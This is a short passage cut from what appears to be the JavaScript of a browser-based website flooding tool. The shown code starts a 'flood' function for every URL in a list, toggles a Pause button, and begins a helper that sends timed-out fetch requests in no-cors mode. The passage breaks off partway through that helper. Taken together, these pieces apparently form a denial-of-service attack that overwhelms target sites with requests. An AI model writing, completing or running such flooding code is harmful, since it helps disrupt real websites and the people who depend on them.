"div.desc .btn").innerText = "Pause";
                for (var i=0; i<urls.length; i++) {
                    flood(i);
                }
            }
        }

        async function fetchWithTimeout(resource, options) {
            const controller = new AbortController();
            const id = setTimeout(() => controller.abort(), options.timeout);
            return fetch(resource, {
                signal: controller.signal,
                mode: 'no-cors'
            }).then((response) => {
        